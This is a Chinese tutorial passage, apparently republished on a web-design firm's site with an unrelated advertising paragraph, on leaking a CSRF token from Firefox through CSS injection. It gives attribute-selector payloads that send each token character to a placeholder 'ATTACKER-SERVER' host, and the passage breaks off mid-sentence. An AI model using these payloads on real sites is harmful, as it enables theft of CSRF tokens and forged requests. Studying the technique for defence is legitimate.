怎么利用单一注入点从Firefox浏览器中提取CSS数据

这篇文章主要介绍了怎么利用单一注入点从Firefox浏览器中提取CSS数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

站在用户的角度思考问题,与客户深入沟通,找到罗庄网站设计与罗庄网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都做网站、成都网站建设、企业官网、英文网站、手机端网站、网站推广、申请域名网站空间、企业邮箱。业务覆盖罗庄地区。

基础技术和现有技术

在我们的演示样例中,假设我们想获取元素中的CSRF令牌:

可能是由于内容安全策略的原因,这里我们无法使用脚本来实现这个目的,因此我们尝试寻找基于样式的注入点。一般来说,我们会选择使用属性选择器:

input[name='csrftoken'][value^='a'] {  background: url(//ATTACKER-SERVER/leak/a);}input[name='csrftoken'][value^='b'] {  background: url(//ATTACKER-SERVER/leak/b);}...input[name='csrftoken'][value^='z'] {  background: url(//ATTACKER-SERVER/leak/z);}

如果这里部署了CSS规则,那么攻击者就可以获取一个HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,其中需要包含已窃取的第一个字符:

input[name='csrftoken'][value^='aa'] {  background: url(//ATTACKER-SERVER/leak/aa);}input[name='csrftoken'][value^='ab'] {  background: url(//ATTACKER-SERVER/leak/ab);}...input[name='csrftoken'][value^='az'] {  background: url(//ATTACKER-SERVER/leak/az);}

此时,攻击者需要重新加载目标页面中的